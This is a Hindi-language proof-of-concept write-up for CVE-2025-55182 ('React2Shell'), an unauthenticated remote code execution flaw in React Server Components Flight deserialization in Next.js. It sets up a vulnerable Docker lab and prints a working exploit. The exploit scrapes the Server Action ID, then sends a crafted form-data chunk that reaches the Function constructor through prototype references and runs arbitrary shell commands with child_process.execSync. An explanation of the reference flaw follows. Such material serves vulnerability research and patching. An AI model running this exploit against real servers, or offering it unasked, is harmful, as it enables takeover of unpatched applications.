
CVE-2025-55182 (React2Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट: React Server Components / Next.js में फ्लाइट प्रोटोकॉल डिसीरियलाइज़ेशन के माध्यम से अनऑथेंटिकेटेड RCE
CVE-2025-55182 2025 में सबसे व्यापक रूप से प्रभावित करने वाले वेब फ्रेमवर्क दोषों में से एक है। React Server Components (RSC) आधुनिक Next.js अनुप्रयोगों की मुख्यधारा आर्किटेक्चर है, create-next-app के साथ बनाए गए कई मानक प्रोजेक्ट प्रभावित हैं, और बिना किसी कस्टम कोड के उनका शोषण किया जा सकता है।
| आइटम | सामग्री |
|---|---|
| CVE नंबर | CVE-2025-55182 |
| उपनाम | React2Shell |
| दोष प्रकार | अप्रमाणित दूरस्थ कोड निष्पादन (Unauthenticated RCE); CWE-502 अविश्वसनीय डेटा का डिसीरियलाइज़ेशन (Deserialization of Untrusted Data) [3] |
| CVSS स्कोर | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| प्रभावित पैकेज | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| प्रभावित संस्करण | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 और उससे ऊपर, 15.x, 16.x |
| हमले की जटिलता | बहुत कम (एक HTTP POST अनुरोध) |
| क्या प्रमाणीकरण आवश्यक है | नहीं |
कमजोर संस्करण (16.0.6) का उपयोग करके Next ऐप बनाएं:
pnpm create [email protected] next-app --yes
next-app/app/ के अंतर्गत actions.ts जोड़ें, इसे Server Action के रूप में चिह्नित करें:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
होमपेज (जैसे app/page.tsx) पर एक फ़ॉर्म जोड़ें, जिसका action उपरोक्त testAction को इंगित करे, और इसमें कम से कम एक फ़ील्ड (जैसे hidden input) शामिल करें।
Next.js उस फ़ॉर्म के लिए HTML में
name="$ACTION_ID_<40 अक्षर hex>"वाला एक hidden input उत्पन्न करेगा; POC इस ID को होमपेज के HTML से regex के द्वारा निकालेगा।
प्रोजेक्ट में next-app/Dockerfile और docker-compose.yml का उपयोग Next ऐप को बनाने और चलाने के लिए किया जा सकता है, लेखन विधि के लिए आधिकारिक उदाहरण [8] देखें।
प्रोजेक्ट रूट निर्देशिका में निष्पादित करें:
docker compose up --build -d
तब चालू Next ऐप को http://localhost:3000 पर एक्सेस किया जा सकता है।
POC समाप्त होने के बाद, Docker वातावरण को पूरी तरह से हटाएं:
docker compose down -v
POC चलाते समय, स्क्रिप्ट होमपेज को fetch करेगी और regex \$ACTION_ID_([a-f0-9]{40})/ से ID निकालेगी। उदाहरण:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
प्रोजेक्ट रूट निर्देशिका में निर्भरताएँ स्थापित करने के बाद चलाएँ:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
मुख्य कोड स्निपेट इस प्रकार है:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
नीचे लक्ष्य होस्ट पर फ़ाइल लिखने का उदाहरण दिया गया है:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec का उपयोग करके कंटेनर में प्रवेश करके देख सकते हैं, या Docker Desktop के माध्यम से संचालित कर सकते हैं।दोष React के Flight प्रोटोकॉल डिसीरियलाइज़ेशन तंत्र (RSC Flight Deserializer) में स्थित है। यह तंत्र सर्वर और क्लाइंट के बीच React कंपोनेंट स्थिति स्थानांतरित करने के लिए जिम्मेदार है, लेकिन प्रसंस्करण प्रवाह में गंभीर विश्वास सीमा समस्याएँ हैं।
React Flight प्रोटोकॉल React द्वारा Server Components और Server Actions के लिए डिज़ाइन किया गया वायर फॉर्मेट है: यह कंपोनेंट ट्री, फ़ंक्शन पैरामीटर आदि को JSON में chunk स्ट्रीम के रूप में सीरियलाइज़ करता है, और
$संख्या,$संख्या:कुंजी नामके माध्यम से chunk के बीच संदर्भ स्थापित करता है, जिससे सर्वर पूर्ण JavaScript मान को पुनर्स्थापित कर सके।
हमलावर दुर्भावनापूर्ण HTTP POST भेजता है
↓
[चरण 1] स्व-संदर्भ लूप ऑब्जेक्ट (Self-referential loop) बनाएं
↓
[चरण 2] JavaScript इंजन को हमलावर-नियंत्रित फ़ंक्शन कॉल करने के लिए प्रेरित करें
↓
[चरण 3] दुर्भावनापूर्ण डेटा इंजेक्ट करके Flight आरंभीकरण प्रक्रिया ट्रिगर करें
↓
[चरण 4] Blob Handler के माध्यम से Function कंस्ट्रक्टर को कॉल करें
↓
सर्वर पर मनमाना JavaScript निष्पादन (RCE)
React के Server Functions (Next.js में Server Actions) फ्रंटएंड से बैकएंड को भेजे जाने वाले डेटा को React Flight प्रोटोकॉल के माध्यम से 'एक-एक करके' chunk में सीरियलाइज़ करते हैं, और फिर form data के रूप में भेजते हैं।
इस डिज़ाइन के लाभों में शामिल हैं:
Chunks आपस में संदर्भित हो सकते हैं, उदाहरण के लिए:
["$1"] (पहले chunk को संदर्भित करता है){"object":"fruit","name":"$2:fruitName"} (दूसरे chunk के fruitName को संदर्भित करता है){"fruitName":"cherry"}सर्वर पढ़ने के बाद प्राप्त करता है: { object: 'fruit', name: 'cherry' }। अर्थात, प्रोटोकॉल $संख्या:कुंजी नाम के माध्यम से अन्य chunk के गुणों को इंगित करने की अनुमति देता है, और फिर अंतिम JavaScript ऑब्जेक्ट में संयोजित करता है।
पैच से पहले के कार्यान्वयन में इन संदर्भों को पार्स करते समय, यह सख्ती से जाँच नहीं की गई कि 'कुंजी वास्तव में ऑब्जेक्ट पर ही मौजूद है', इसलिए हमलावर संदर्भों के माध्यम से ऑब्जेक्ट प्रोटोटाइप (prototype) पर गुणों को पढ़ सकते हैं।
उदाहरण के लिए, निम्नलिखित payload बनाया जा सकता है:
["$1:__proto__:constructor:constructor"]{"x":1}जब सर्वर 'chunk 1 के __proto__ → constructor → constructor' को पार्स करता है, तो उसे Function कंस्ट्रक्टर ([Function: Function]) प्राप्त होता है, जो 'स्ट्रिंग से फ़ंक्शन बनाने' का अंतर्निहित कंस्ट्रक्टर है। अर्थात: अनुचित संदर्भ श्रृंखला के माध्यम से, सर्वर पर Function प्राप्त किया जा सकता है, और फिर स्ट्रिंग को कोड के रूप में निष्पादित किया जा सकता है।
Next.js फ़ॉर्म प्राप्त करने के बाद, decodeReplyFromBusboy के साथ chunks को एक मान में पुनर्स्थापित करता है, और उस मान पर await करता है।